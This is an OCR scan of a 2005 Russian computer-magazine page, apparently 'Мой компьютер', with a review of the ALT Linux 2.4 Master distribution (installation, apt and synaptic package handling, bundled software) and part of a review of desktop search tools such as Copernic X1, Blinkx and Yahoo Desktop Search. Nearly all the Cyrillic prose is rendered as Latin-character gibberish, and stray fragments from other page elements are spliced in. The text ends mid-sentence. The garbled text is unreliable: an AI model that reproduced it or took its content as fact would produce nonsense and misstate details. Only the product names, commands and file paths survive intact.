13-38 fly4LLeN NIOKENIM3aUmA 1 BOZMOXHOCTY NONYyY1Ts NOAAEPXKKY Ha NOHATHOM A3bike. B MK, Ne 16 (343]
winia peys 06 ASPLinux, Terneps nopa no3HakoMUTLCA C 0COBEHHOCTAMY HOBOro AncTpnbyTusa or ALTLinux.

UM He BpaTh BO BHUMOHME CEPBEPHBIE U 3AWMLLEHHBIE AMCT-

pUBYTUBLI, BHINYCKaEMbIE KOMOHAOW paspabotumkos ALTLinux

Team, 70 0BLYHOMY NONB3OBATENIO AOCTYMHE TP NPOAYKTO.

310 Compact, KOTOPbIH OPUEHTUPOBOH B NEPBYIO O4EPEab HA
HauMHaKOWKMx nons3osatenen, Junior — Gonee yHUBEPCANbHLIA An-
CTpUBYTHB, CONEPXALUMIA, KDOME MYyNETUMEIUAHBIX M OPUCHBIX NPK-
NOXEHWH, CPEACTBA Pa3paboTku U, HaKOHeW, Master, OCHOBHOW ae-
813 KOTOPOTO «BCE NoA pykow». [pu aTom sBce aucTprbyTmesl ALT
Linux ocHoBaHb Ha xpanunuiie naketos Sisyphus u moryT Beits 06-
HOBNEHbI M3 HErO WM NOMOMHEHbI NpUnoXeHusmin nnbo Yepes Mu-
TepHet, nubo npu nomowm cpesoe, noctasnsemsix Ha CD. MNosto-
MY PA3AENEHME HA AUCTPUBYTHBL YUCTO YCNOBHO W NPU3BAHO Ob-
nerunTs paboTy mapkeTonoram u nonssosarensm. Jioboin Compact
NPy xenannn moxHo BeicTpo npesparuTs B Master. Haunnas ¢ sep-
cumn 2.3 Bce puctpubytues ot ALTLinux umeryiotes «ALT Linuxs +
«Bepcuay + «knacce. B crarbe nonger peus o nocnegHen sepcum
acTpnbytnea mactep-knacca — ALT Linux 2.4 Master. Oduumans-
HO 3TOT AMCTPUBYTME PACNPOCTPOHSETCR B AByx m3aaHusx: DVD-
pepcus u bonee ocHawenHas BOX-sepcus. Kpome Toro, ero mox-
HO NOMY4UTL W ¢ ftip-cepsepa komnammm — kak 8 Bupe 1ISO-06pa-
308, TOK W B 8BWAE OTAEMLHLIX NAKETOB. XOTA B NOCAEQHEM Cyyae
AOCTATOYHO CKAMOTL TOABKO YCTAHOBOYHbIA 06pa3 master-2.4-
install-cd.iso, MMEIOLWMI 3OKOHYEHHEN HOOOP NPUNOXEHMA, O
3aTem OOYCTAHOBMTE yXe Bce Heobxoammoe. Kpome ycTanosouHo-
ro CD & komnnextT mactepo sxoauT ewe 8 anckos (He yCTOHOBOY-
HbIX), COAEPXALMX UCMIONHAEMEIE NPUIOXEHMs. [103Tomy YCTOHOB-
KO MOCTEPA HECKONBKO OTNMYAETCS OT APYIMX MHOTOAMCKOBBIX OM-
cTpubyTnsos. [Ing yCTAHOBKM CHCTEMBI HEOBXOAMM TONMBKO NEPBHIA
BMCK, O NAKETH C OCTAMLHLIX AMCKOB LOYCTOHABAMBAKOTCA YXE NO-
cne Toro, kak cuctema bynet rotosa k pabote. MHe kaxetcs, 4to
310 Bonee ynobHO Ans NONL3OBATENS, NOTOMY YTO BO BPEMS YCTa-
HOBKM HE MPWUAETCA NORONry BEBUPATL M3 BONBWOro CIMCKa Npu-
NIOXEHWA, O 30TEM XAATk, KOTAQ 3TO BCE NEPENON3ET HA XECTKWM
AMCK BMECTE CO BCEMM 30BUCMMOCTsMU. [Tporpamma yeTanoekm, Be-
pywas Houano ot Mandrake, He npetepnena cepbesHbix u3meHe-
HWI 1 SBASETCA OQHOMA M3 CambiX YAODHLIX, CNPABUTLCA C KOTOPOV
nog cuny Aaxe HoBWYKY. B meHio, koTopoe nosenseTca npu 3arpys-
KE OMCKA, MOXHO, BBIBPAB nyHkTe Rescue System wnn Boot Installed
OS, BOCCTAHOBUTL MNK 3ArPY3nTh yXe YCTAHOBNEHHYIO crcTemy. EcTh
BO3MOXHOCTE BEPHYTHCA K MIOGOMY M3 NYHKTOB ANS YTOYHEHUS HA-
CTPOEK; NPUCYTCTBYIOT KOPOTKWE MOACKA3KM, KOTOPHIE COMPOBOX-
ACKOT MONb30BATENS HA BHIBPAHHOM B Hauane a3sike. EanHcTaeHHbIA
HIOOHC: nporpamma pasbuenns aucka DiskDrake y MandrakeSoft
yxe ymeer pabotats ¢ pasnenamu, oThOPMATUPOBAHHBIMM NOA
NTFS, o 8 ALTLinux Takon pasgen Bbin NOMEYEH KOK HEU3BECTHBIN,
x0T B NOCNERylowem oH moHTupyetcs Bes npobnem (B pexume
«TONLKO ans ytenusy). B otnuume o1 mHormx auctpubytneos, B oc-
HoBHOM Basnpyowmxes Ha Fedora/RedHat, nons3osatenio ana dop-
MOTUPOBAHMS NPEANAraeTcs BeCk CNUCOK GANNOBLIX CUCTEM, KOTO-
puie nogaepxwueaiotes Linux: ext2/3, reiserFS, XFS, JFS. la v nuuen-
3MOHHOE COMALIEHWE, BHBOAMMOE MPW YCTAHOBKE, OCTANOCH NO-
NPEXHEMY HQ QHIMWACKOM. B NpoLecce yCTAHOBKM MOXHO BKNIO-
4MTL QUIOlOgin, NO3BONAOLLMIA 3ATEM GBTOMATUHECKM BXOAMTH B CUC-
TeMy C NPUBAMM YKO3AHHOMO NOAL3OBATENSt M C rPAGUYECKUM WH-
Tepdeircom — Ho 310 Ha mobutens. Ecnu yeranoska npoucxoanno
B PEXMME «IKCMEPT», Bbl NOAYYMTE GOCTYN K eule ABYM OONOfHK-
TensHeiM dyHKumam («Coxpanuts Beibop naketos» v «Cosaats ca-
MOYCTOHOBAUBAIOLLYIOCH AUCKETY»), NO3BONSIOLLIMM B NOCTERYIOLIEM
OBTOMOTWU3WPOBATHL YCTAHOBKY.

3arpyxaemcs. ALTLinux TPOAMUMOHHO XOPOLWIO NIOKGAM3OBOH, U B
3T0T pa3 paspaboTumnkm He noasenm. Bee Haammcn BuIBOAATCA HA Hyx-
HOM f36ike, NPOBNEM HET, TEKYLLAS KNABUMATYPHAA PACKNOLAKA BbIBO-
anTes dnaxkom B narenu saaad. [pasaa, nocne SuSEeckoro OpenOf-
fice cmoTpUTCR HeckONbKO BNEkNo, AQ W WPUDTH, NPW3HATLCS, He
O4€Hb — NPUOETCA HEMHOTO NOBO3UTLCH. B KAQ4eCTBE OCHOBHbLIX PA-
6ounx cpen npeanaralotca kde-3.2.3 v icewm 1.2.14, Ho npy Heob-
XOMMMOCTH K BOLLMM YCMYram NPAakTUHECKM BECH CMIUCOK — B NEPBYIO
ouepens gnome-2.6.1, a takxe AfterStep, blackbox, fluxbox, xfced,
waimea, xtwmd, Window Maker, FYWM u Enlightenment. Tax uto
BLIGMPaTL ecTh M3 yero. Bun Pabouero crona AlTLinux ysHasaem, a
YUUTBIBOR KOMMYECTBO BOCTYMHBIX TEM 1 ODOER, Er0 MOXHO O4EHb Nner-
KO M3MEHMTL, [Ins UCNONb30BaHWA NPeanaraeTcs Asa sgpa — 2.4.26,

KOTOPOE YCTQHABNWBAETCA MO YMONMCHMIO, W 2.6.8 48 CTOPOHHWKOB
HOBOM BETkM. (DM STOM CTOWT MOMHWTL, YTO NPKM YCTAHOBKE YCTAHAB-
AMBAIOTC HE BCE Apadisepsl, U ecin He pabotaer kakoe-10 obopy-
noeanue (Hanpumep, Serial ATA), To cieayer nouckaTe Ha AUCKaX Na-
KeThl C COOTBETCTBYIOLLIMM MOaynem. Kpome TOro, B kKomnnekTe ume-
lotcs naketsl ¢ low latency, openmosix, capabilities, openwall, apai-
sepamu noanepxkn 3D ana kapt NVidia, ATI, SIS 1 npourmm natua-
MM, NO3BONSIOLLIMMM PEQNU30BATE APYrHE pexumsl PaBoTul CMCTeMb
UMM NoBbICUTL BesonacHocTb. CTabuUnLHOCTL CUCTEMBI HO BLICOTE,
cepbesHbx Mokos He Bbino. Bot Tonsko ua-3a owmnbok 3arpysku mo-
nynevt He pabotan pexum ACPI {Advanced Contiguration and Pow-
er Interface), ynpasnsiowwmin cucremon sneprocbepexenus. o 3tum
X€e NPUUMHOM He paBoTano yeTponcTeo, noacoeanHexHHoe k FireWire.
Mostomy, ecrm BCTPETUTECH € NOAOBHLIMM NPOBNEMOMM, NPUAETCS
nuBo obHoenaTeCs, TMBO nepecobuparts aapo. Euwe ogHo MHe He no-
HPaBMNOCH: MHCTanAsTop SUSE cmor camocTosTeNbHO ONPeRenmTs 1
HOCTPOUTL aBe Mbilum {Toyunag v USB), a sot 8 ALTLinux sTopyto npu-
WAOCh HACTPAMBATE CAMOCTOATENLHO (M Ckponn Toxe) — Bnaro fo-
KYMEHTQUMM, NOCTABASEMON C AWCTPUBYTMBOM, BNONHE AOCTATOUYHO
(no HocTpovike nBYX MbllUEN — /usr/share/doc/HOWTO/HTML/ru/
mini/XFree86-Second-Mouse/index.html), 4Tobbl CNpaBUTLCA C
BonbluHCTBOM Npobnem 6e3 NOCTOPOHHEN MOMOLLM.

Pa3 yx 30WNQ peys O AOKYMEHTALMM — KPOME MAN CTPAHML M
[IOKYMEHTOB, MOCTABNSEMbIX BMECTE C NPUNOXKEHUAMM, B KOMNNEKTE
MOXHO HOWTW maTepuansl xypHano «LLikonsHas komnsioTeppay no
ceobopromy MO, yuebrunk kypca «MHbOopmMaTMKa 1 MHGOPMALMOH-
HblE TExHONOMMWy, Matepuans no pabote ¢ AlTLinux, Mozilla, OpenOf-
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fice, rifm {ana HauwuHaowwmx) 1 ewe mHoro vero nonesHoro. Cnucok
AOKYMEHTAUMW MOXHO NPOCMOTPETL, HaBPaB apt-cache search
alt-docs-extras-*, — Bbl NONYYUTE CCITKK HO BCE NAKETHI C KPAT-
KUM OMMcaHvem. YCTaHOBUTE NKOBON W3 HUX MOXHO, BLINONHWB OT
WMEHW NONb3OBATENS root KOMUHAY apt-get install nassaume_
narera. Ax, na. locne yCTaHOBKM CUCTEMA U 3HATH HE 3HAET O AO0-
NONHUTENLHEIX AMCKAX, NO3TOMY HEOBXOOMMO BCTOBMTE AMCK M BBE-

e -

A

T -
[ T i S

CTW apt-cdrom add, NOBTOPWB 3TOT WAr NS KAXAOrO AWCKA. Nh-
bopmaumns © Peno3uTapusx XPaHUTCs B Gaine /etc/apt /sources.
list (1 AONONHWTENEHO B /etc/apt/ sources.list.d/cdroms.
1ist). Ecnn 3armsnyTs B yKA3QHHBIA GQA, TO AONKHBI NOABUTLCH ONU-
caHua auckos. Bpoge atoro:

# Master

rpm cdrom: [Full ALTM24 2004/11 (Nov29 18:31EET);
CD 8]/ ALTLinux/i586 contribmain nonfree

Harmbin Gain COREPXUT CCHIMKWM HA BCEBO3MOXHBIE MCTOYHWKM
nonyderus dannos. Ecnn nnanmpyetcs pabora Tonsko ¢ CD aucka-
MM, COBETYIO 30KOMMEHTMPOBATH NIULLIHWE UCTOYHWKM, Y4TODH OHK He
mewanu B pabote, 1 3aTem BBECTU

# apt-get update

Komananas ctpoka He Bcem kaxeTcs ynobHow (cnpasky no pa-
Bote c apt cmOTpUTE HO www.debian.org/doc/user-manuals#apt-howto),
MO3TOMY KPOME apt B COCTABE MMEIOTCH U rpadmueckue urtepdei-
Cbl K HEW, synaptic v aptitude. C nocnegren, NPU3HaIOCL, po6o-
TON HE YacTO. A synaptic KAaXeTCa MHE BNOMHE YAOOHO 1 Harnag-
HOW B PABOTE YTUIMTON: CIIUCOK BCEX MPUAOKEHWR CTPYKTYPUPOBAH
U CHaBXEH CMCTEMOM Noucka, Tak 4To paboTaTe ¢ HEN OOHO YAO-
sonscTave. [Npaspa, He obownock 6e3 menkux rmiokos. [Nowe Bbl-
6opo nakeTos ans ycraHosku/obHosnenus nepen Haxatmem «[lpu-
MEHWTLY 0BR3aTENBHO BCTaBLTE MIOGOM anck w3 Hobopa (B onuca-
HUAX KOXA0TO NAKETA MMEETCH CChINKA HA AUCK, C KOTOPOro oH by-
A€T YCTAHOBAEH, HO YroaaTh, KAKOM NPOrpamma 3atpebyer nepesim,
Taxeno), uHave ByneT sbinana owwbka u pabota Bynet npekpalle-
Ha. Ecn ke synaptic OCTGHETCH HEQOBONLHA BCTABNEHHLIM AMC-
KOM, TO OHO MPOCTO YKAXET, KOKOW €W Ceitac HyxeH. Bropoi Hio-
QHC, KOTOPbIA MHE HE NOHPABWICH, 3TO HEBO3MOXHOCT MOBAUSTE HA
BoI00p AenCTBMM synaptic. Hanpumep, yCTaHOBUAKW Bl NOKET, BOC-
NONL30BABWMCE Onumen —force. CUCTEMO NPU3HAET B HEM HyXOKQ
u Byaer HOCTONYMBO NBITATLCH U3BABKTLCH OT HEFO NP NEPBON BO3-
MOXHOCTW. M ecnu Bbl yAGNWTE XOTb OAMH NOKET NP NOMOLW Synap-
tic, BMECTE C HWMm ByaeT yAaneH v YyXak. Takke HOAo OTMETHTS,
4TO, HaNPUMep, B OTIMYME OT uHcTannsTopa 8 SUSE, koTopeiit cpa-
3y CTABWT NOKETHl M MO3TOMY OfMH W TOT XE AMCK MHOTAQ NPHXOAMT-
€ BCTABAATL PA3A NO TPM, apt NEPBOHAYANLHO KONUPYET NAKETH! B
/var/cache/apt/archives, O 30Tem yXe yCTQHUBIMBAET. [Nosto-
My ECNv paBOTA NPOTPAMMBI 3UBEPLUIMNACS NO MOBOW M3 NPUUUH A0
BLINONHEHWA 3QMNAHMPOBAHHOM PABOTHI, CKOYAHHLIE NOKETH MOXHO
HOMTH B YKQ3AHHOM KATANOre M YCTAHOBWTL 0ObIuHEIM 0Bpasom. Ho
ocobyio ueHHOCTs apt npeactaenset npu pabote ¢ «Cusndomy,
NPEACTABASIOWMM COBOM OFpOMHbIN BAHK NAKETOB, QHANOTOB KOTO-
pomy — eauHuusl. Buibpas mobyio nporpammy M3 Cnvcka, nNpu Ha-
JMHMM XOPOLLErO KCHANG MOXHO BeiCcTpo u Bes npobrem ycTaHo-
BUTL ee, He 3aB0TACL O COBMIOAEHNN 3ABUCUMOCTEN, BCe NPoBRems:
30 Bac pewwur apt. [pasaa, B otarare ot yum (Yellowdog Updater
Modified), npumensemoro 8 ASPLinux, na 1 B apyrx nopo6Hbix me-
Heaxepax, «Cuand» — 310 B BonblWER CTENEHW BCE-TAKM PENO3u-

MOWM KOMMbIOTEP

TAPWA, O HE MCTOYHUK ANA PerynapHbix OBHOBNEHWUH, XOTR OH BNOA-
He MOXeT BObiTb TakoBbim. [10 kpaitHel mepe, Bce OBHOBNEHNWS, Ka-
caowmecs 6e30NACHOCTH M OCHOBHBIX YTUIUT, NPOU3BOARTCA Pery-
napHo. [Ins Tex, KTO XOYeT cneants 30 OGHOBNEHMSIMM MOCTOSHHO,
umeetca APT indicator, koTOpbI BCTPAMBAETCS 8 NAHENL W NEPUO-
AMYECKW NPOBEPSET PECYPCH HA MPEAMET YETO-HUDYRL HOBEHBLKOTO.

Ho sepremcs k Hawemy macTepy. [ocne Toro, kak apt’y Gbinm
BKOPMNEHbI BCE AWUCKHW, OH cooblumn, 4To Teneps 3Haet .o 5785 na-
KETaX. TOK 4TO MPUAOXEHWMH B PACMOPIKEHMM NONL3OBATENA Npe-
AOCTATOYHO. YuuTeiBas Temnsl pa3entus cesobopHoro MO, pepcuum
HEKOTOPBIX YXE MOXHO CYMTATL YCTAPEBLIMMIA Wk TREBYIOWMMM O6-
HOBNEHMS, HO HO NEPBOE BPEMs Ans paboTL BNOMHE AOCTATONHO TO-
ro, 4T0 ecTb. [lepeuncnsts BCe, KOHEYHO Xe, He Bydy, CKaXy aAuwb
nopy cnos o Tom, 4to Bpocunock B masa. OueHb MHOTO PA3HbIX
smynsTopos — Pesx (PlayStation), fuse (The Free Unix Spectrum Em-
ulator), pose (PalmOS), uxnes u zsnes {(Nintendo), Bochs (x86) v apy-
me. Odmcnsie npunoxerns (OpenOffice.org, KOffice, Gnumeric,
KDE Organizer, Mozilla Calendar), MO ana pabotsi 8 cetn (Mozil-
la, Konqueror, links, lynx, Sylpheed, Mozilla Mail, KMail, Evolution,
mutt, Jabber, pasnuurbie aHTMcnamossle dunbTpsl), cpeacTea ans
paspabotunkos (C/C++, Perl, Ruby, Python, Tdl, ISP, Ocaml, Jo-
va, Fortran, PHP; KDevelop, Anjuta, GNU Emacs, XEmacs, Qt De-
signer, Glade; Zope; gdb, ddd, valgrind}, mynstumenmninoe 1O
{MUSE, Audacity, Snd; XawTV, kdetv; XINE, MPlayer, kino, xmms),
usnatensckme cuctemsl (Scribus, TeX), nporpomme anst paborts ¢ rpa-
dukon (The GIMP, Sodipodi), cepseproe MO {noaaepkka paboT
¢ PostgreSQL, MySQL, HTTP, FTP, SMTP, POP3, IMAP, LDAP, Sam-
ba, rsync, NFS). A ewe nporpommsl fns QBTOMATU3AUMM CKNOACKOM
AEATENLHOCTH, MEHEIXEPHI NUUHLIX BUHOHCOB... M MPOUeE, NpoUee,
npoyee. OueHb TPYAHO He HaWTM cebe NomxoasLlee NPUNOXEHHE,

Hosuiit auctpubytue ot ALTLinux npeacrasnset cobomn nosonsHO
YAQUHOE CoveTaHWe yaobCTBA, OCHAWEHHOCTH 1, IABHOE, CTAOMbL-
HocTh B paborte. Hanuune Bomnblioro konmyecTsa AokyMeHTauUMmM no-
3BOMAET O3HOKOMWTLCS C HYXHBIMW CBELEHWAMW MO HOCTPOAKE Tex
WAM MHBIX KOMMOHEHTOB CUCTEMBI, HE NPMOEras K NOMOWM TOBAPH-
wen. Obunue yaobHbix roadudeckux Nporpamm ans HaCTPOUKK CUC-
TEMBI W YCTAHOBKM HEOBXOMMMBIX NPUAOXEHUI NO3BOAKT OLICTPO NO-
Ny4nTe Tpebyembin pe3ynbTar.

OH YHTAET
PEaNnbHOCT
(MaHTACTUKU

Dig sians 6oLoutor
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UKL OnuxKezo npuuena

v X1 (www.copernic.com)

EnnHcTBEHHOS NPOrpAMMA M3 PACCMOT-
PEHHBIX, KOTOPAS NPeanaraercs NoNb3o-
saTensm, He BecnnatHa. Mayunts BO3MOX-
HOCTH NPOTPAMMbI MOXHO HO MPOTSXEHWH
15 awen trial-nepuoga. X1 noaaepxueo-
et 6onbwon cnucok Gannos, AOCTYNHBIX
ANA Noucka. 3T Gannbl, CO3AOHHLIE C NO-
Mmoo npunoxennn MS Office, mynstu-
MEAMO-DAHNLI, PUCYHKM, CMMCOK KOHTQK-
to8 MS Outlook. He menee snevarnsio-
we BuIrnsanT 0BnacTe NOMCKA, ROCTYNHARA

" pns 3nekTPOoHHbIX nucem. X1 ymeeT uckats
OTAENLHO BO BXOASLUMX, B OTNPABAEHHbIX
MUCbMOX, O Takke BO BnoxeHusx. bonee
Toro, ans X1 noctynHel noytossie 6a3st He
Tonbko Qutlock Express, nouck BoamoxeH
Takxe 8 noutoesbix H6asax nporpamm Eu-
dora u Mozilla Thurnderbird.

Eue ogHomn otanuntensHon ocobenHo-
CTHIO NPOTPaMMSI SBARKOTCA TMOKME HACTPOW-
K1 uHaekcvpoBsaHus. Mporpammo No3sons-
€T HE TOMbKO 304ATk MECTONONOXEHUE UH-
nexcHoro $owna, ykasats Nepuon Bpeme-
HW ANS OCYLLECTBNEHWA NOBTOPHOMW UHAEK-
COUMM, HO W HOCTPOUTL OBNOCTL MHAOEKCH-
POBAHMS, TO €CTb 304QTh NAMKK, COREPXM-
MOE KOTOPbIX ByaeT BKMOYEHO B UHAEKC.
Mpy HOCTPOJiKE NAPAMETPOB UHAEKCHPO-
BAHWA Y NONb3OBOTENS €CTb CNeayloLUne
BO3MOXHOCTY: 3a00Tb MHAEKE 06bEKTOB NO
MMEHN W COOEPXUMOMY, MHAEKCUPOBATL NO
WMEHM, PASMEDPY M COAEPXMMOMY TEKCTO-
8bix HAANOB, MHAEKC NO UMEHU WU Pa3ME-
Py, HE MHOEKCMPOBATL BOBCE (puc. 1).

Crncok CTOHAAPTHBIX PACLUMPEHWIA baii-
NOB, AOCTYNHbIX ANA UHAEKCUPOBAHMS, TAK-
XE€ MOXHO OOMNONHWTL, Bonee Toro, MOX-
HO yKd3QTb MOKCUMONbHbIA pPAa3mep UMero-
werocs danna.

Ins kaxporo Tna obvekTos, B KOTO-

PbIX NPOTPAMMO YMEET NPOM3BOANTL NO-
MCK, HO MAHENW WHCTPYMEHTOB MPEeAHd-
3HQYEHA CBOS KHOMKA, C MOMOLLBIO KOTO-
PO¥ MOXHO OTPAHUYMUTL NOMCK B Gannax
TOrO WM WHOFO TMNA.

Mony4ns cnmMcok HamaeHHsix Gannos,
nonsb3oBatens obpetaer He meHee yrob-
Hble BO3MOXHOCTW yNPAaBnerus umu. B Han-
AEHHOM CMUCKE MOMCKOBLIA 3aNPOC Bbiae-
nen apyrim usetom. [porpamma no3so-
nAeT OCYLUECTBUTL MOBTOPHbLIA NOUCK B HOM-
OEHHOM CMUCKE, MOXHO OThWUNBTPOBATH
CMMCOK NO OAHOMY M3 MONEeN — UMK, TuM,
nara/spems, pasmep.

Hapexna LLUAOHAA

Cogm-zapgepod

(Oxonvanme, Hayano cm. 8 MK, Ne22 (349))

MonckoBLIM 3aNPOC MOXHO COXPAHUTS,
30p08 ero ums. CooTBeTCTBYIOWAs NUKTO-
rPAMMQa NORBUTCH B REPEBE MOUCKOBbIX 30~
npocos. MonyumB cnucok dairnos, mox-
HO OTKPbITb BbIAENEHHBIW AN, OTIPUBUTL
€ro NO 3NEeKTPOHHON NOYTE UNKU OTKPLITH
NONKY ero mecToHaxoxaeHus. lonyven-
Hble CNUCKK GANNOB MOXHO COXPOHATL B
«M3bparHom» (pre. 2).
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Copepxvmoe HaigeHHbx $ainos
MOXHO YBUOETL B OKHE NPenBapUTENb-
HOrQ MPOCMOTPA. 2TA BOZMOXHOCTL NPO-
TPaMMbBl TOXE HOCTpOMBOeMOﬂZ MOXHO
yka3aTe macwTtab otobpaxeHus aoky-
MEHTO B OKkHE preview, pa3mep ero
wpudta. MNpeaycmotpera dyHkums ne-
4OTW HAWAEHHOTO AOKYMEHTA W3 3TOro
pasgena.

Tubxue HOCTPOWKM NO3IBONAKOT Onpe-
0ENUTh BHELHWIA BMA NPOTrpamMMbl, 30AATH
otobpaxaembie pasgens okHa X1 w na-
HEMW MHCTPYMEHTOB. A ANA KAXA0ro BUAA
NOMCKA MOXHO HACTPOWTH KOMBUHAUMIO
KIQBMLW, C MNOMOLLBIO KOTOPOK 3TOT BUA
nowcka Byner aKTUBU3MPOBAOH.

v Blinkx (www.blinkx.com)

270 NPOrPAMMO, C OAHOM CTOPOHLI, CO-
XPAHSAET MAEONOTMID, KOTOPAs MNPUCYTCT-
8YET B NPEABIAYLLMX NPOTPAMMAX, A € APY-
rOM — HEKOTOPHIE PELLEHMS, NPEANOXeH-
neie Blinkx, sensiotca yrukansHeimu, 6o-
fee TOrO, HE CyLLECTBOBABIMMIA DOHEE.,

Cosaatenn nporpammsl 06beanHMnmu
nokanbHLi nouck M nouck 8 Cetn.

Blinkx, kak 1 apyrie nporpammbl, MHLex-
CHPYET COBEPXUMOE BUHYECTEPA, HO MPK
3TOM NbITAETCH NPOITHO3UPOBATL, HTO UMEH-
HO HEOBX0AMMO NONL3OBATENIO, HAXOASA 3TO
8 WntepHerte. Pabora nporpammsl ocHo-
BGHA Ha anroputme camoobyyenus. Mo-
cne sanycka Blinkx ananusmpyer undop-
MQLMIO, KOTOPAsR OTOBPAXAETCS HA 3KPA-
HE KOMMNBIOTEPQ, OTCNEXUBAS COAEPKUMOE
TEKCTA AOKYMEHTOB, NPOCMATPUBOEMBIX
web-CTpaHuLL, 3neKTPOHHLIX NUCeM, a Tak-
XE KOHTPOMUPYA TO, 4TO MONL30BATENb HA-
6upaet Ha knasuatype. o pesynsTatam
3Tux HOBMOABHWI NPOrPamMma B GOHOBOM
pexume ueT 8 MutepHete cxoaHytlo MH-
bopmaumio v NPeaoCTABNSET €€ MONbL30-

N225/352 20 mioun—27 wions 2005

patento. PesynsTaThl NOMCKA rpynAMPYIOT-
€8 B KATErOpHK 1 OTOBPAXAIOTCH, ECAM HO-
BECTH KYPCOP MbILLKM HA CNEUMAnsHYIO Na-
Hens Blinkx, xoTopos scerno pacnonoxe-
HQ B BEPXHER 4aCTW 3Kpawa. PesyneTark
NOWCKQ FPYNNUPYIOTCA B KATETOPWH, KOTO-
pble COOTBETCTBYIOT KHOMKAM NOHENN WH-
crpymenTtos Blinkx, 310 cnncok noxaneHsIx
AOKYMEHTOB, HoBOCTER, web-cTpanmu. [pu-
4em NPpu NOACBEYNBAHWK CTPQAHWUBL UK Bbl-
Bope APYron CTPOHMUBL NPEeaNnaraemble
CCbinkm OBHOBAAKOTCS.

CosgaTeny Nporpammel yTBePXAdIOT,
4TO e€ NPUHLUNUANbHbIM oTAMYnem ABNA-
eTcs cnocoBHOCTL MOMCKA HE TOMLKO NO
KNIOYEBOMY CNIOBY, O ELUe U NO COLePkH-
MOMY BCETO AOKYMEHTQ.

Y10 kacaetcs nokansHoro nomcka, Blinkx
TAKXe NPEANaraeT HECKONbKO WHTEPEC-
HbIX peweHui. Bo-nepsbix, y Nnporpamms
AOBOMLHO BOMBLWON CNMCOK PACNO3HABAE-
mbix bopmatos dannos: Blinkx ymeet nh-
nexcuposate dainsl MS Office, pdf-dai-
nel, u3obpaxenus, Buaeo U mp3-banns,
COOEPXMMOE INEKTPOHHBIX nucem. [Mounck
MOXHO NPOBOAMTL, 30ACB 3ANPOC 8 OKHE
nporpammbl. BosmoxeH.nouck Kak cpeaw
BCEX [OKYMEHTOB, Tak ¥ cpean $ainos
onpeaeneHHoro tTuna. Monyuns cnncok po-
xymentos, Blinkx nossonser otdunsrpo-
BATb €70 NO HEKOTOPLIM KPUTEPUAM, HA-
NPYMEP, NO HA3BAHUIO MW AAQXE AATE CO3-
naHmns (puc. 3).

o
B Puc.3

Mporpammo cama onpegenseT, noa-
KIKOYEH NI KOMNBIOTEP B AQHHbIA MOMEHT
K VnTepHeTy, M ecnu komnbloTED HAXO-
autca B onnaike, Blinkx moxHo wcnons-
308aTh ans noucka s MutepHete. Kpome
NOMCKA CAMTOB, AOCTYMNHb CNEayOWMe Bh-
Abl noncka: news, web, video, shop, books.
B HOCTpO/ikax MOXHO 30AATb UCNONb3YE-
MYIO MPU 3TOM MOUCKOBYIO MOWMHY.

K npeumyLectsam Nporpammel MOXHO
OTHECTH UHAEKCUPOBAHUE B HOHOBOM pe-
XHUME, KOTOPOE MOXET OCYLLECTBAATLCR
Aaxe TOTAQ, KOTAd 3 KOMNLIOTEPOM PO-
6otatot. HepocraTtkom xe senseTcs To,

4TO NPOFPAMMA HE POCNO3HAET KUPWIIK-
Uy — KOK B MOMCKOBLIX 3ANPOCAX, TAK U
npu oToBpaxeHun pesynsTaToB NOWCKA.

[lpu nowncke B MnTepHeTe nporpamma
obpawaercs Kk YyCTOHOBNEHHOW MO yMOS-
YOHUIO MOMUCKOBOW MALIMHE C 3ONPOCOM,
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3agaHHeim B Blinkx, 1 B okHe Gpaysepo
oTobpaxaercs pesynsTor.

v Yahoo Desktop Search (desktop.
yahoo.com)

Cpeau rasHbix NPeUMyLLECTB AeTULa
dupmsl Yahoo moxHo Haseats Haubonee
yaobHei uHtepdeic nporpammer. OkHO
Yahoo Desktop Search pasbuto Ha tpu
wacTu. B Npasom 4acTu OKHA pasmeLLeHs
CCHINKM, C NOMOWBIO KOTOPBIX MOXHO Ne-
peKJ'HOLIOTb pPa3nu4Hbie BMALI NOUCKA, TAK-
K€ 30eCh HOXOMTCA Paspen u3OPaHHbIX
BKaos noucka. B uentpansHon yacTu ok-
HO NPOrPAMMBI NTPEACTABNEH CNUCOK HOM-
QeHHbIx GARNOB, O NEBAA NAHENb NPeAHT-
3HAYEHA QNS NPEABAPMTENLHOTO NPOCMOT-
pa HakgeHHbIx GOHNos.

Hoctynen pouck cnepyoumx TMNOB:
files, pictures, music, contacts, Emails, at-
tachment. Cosznatenu nporpammsl ocobo
NOAYEPKMBAIOT OTPOMHOE KONMYECTBO NOA-
LEPXUBAEMBIX POPMATOB, B KOTOPLIX MPO-
rPaMMQa yMEET UCKATh, — W YTBEPXAQIOT,
yto wx oxono 200. MNpumedatensHo, 4to
PE3YNbTUPYIOLIMIA CMIUCOK OTOBpaXaeTcs
«HQ NEeTy» yXe BO BPEMS BBOAA MOMCKO-
BOro 3anpoca. MNonyderHsii coucok ¢an-
NIOB MOXHO OTOUNETPOBATL MO MMEHM AU
no tuny $anna, a Takxe no AaTe Co3no-
HUS WKW pa3mepy (puc. 4).
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Yahoo Desktop Search Takxe npenna-
raeT OAHOBPEMEHHLIM nouck B MHTepHe-
1e. [Monckoswit 3anpoc Bynet agpecosaH
nouckoso# malumHe Yahoo. Ewe oaHo
BECbMA yRODHOE peleHne — CyiuecTso-
BAHWE TOK HO3LIBAEMOTO M3BPAHHOIO no-
ucka (favorite searches), 8 3Tom pasgene
MOXHO PA3MECTUTL HauBonee 4acTo wc-
NONb3yemble BUALI NOMCKA.

LononnutensHbimn cpeacteamu Yahoo
Desktop Search ssnsiotcs pasHoe oto-
6poerme CMUCKA HOWAEHHBIX ¢>ov'moe —
KPATKOE WM NONHOE, BO3MOXHOCTb HA-
CTPOWKM NOHENEN WHCTPYMEHTOB.

B HOCTPOMKAX NPOrpamMMBEl MOXHO 30~
AATb HE TOMBKO MECTO PACTONOXEHUS WH-
OEKCHOro Gaina, HO W HACTPOUTL PACHU-
COHWE MHAEKCUPOBAHKS A8 OBLEKTOB Ka-
XAoro Tuna. Takke B HOCTPOWMKAX MOXHO
30[0Tb KNABMATYPHLIE KOMBUHAUMM Ans
PO3HbIX BUAOB Noucka (puc. 5).

[ "N Puc.5

MOW KOMIbIOTEP

v DiskMETA-Lite (www.diskmeta.com)

Heuacto posoauntcs npeactasnste &
o630pe nporpammHoro obecneyenus npo-
rPAMMY OTEHECTBEHHbIX PU3PABOTYMKOE —
W NPEACTOBNSTL €€ HE NPOCTO KAK oye-
PERHOro NPEACTABMTENS, O KOK OfHY M3
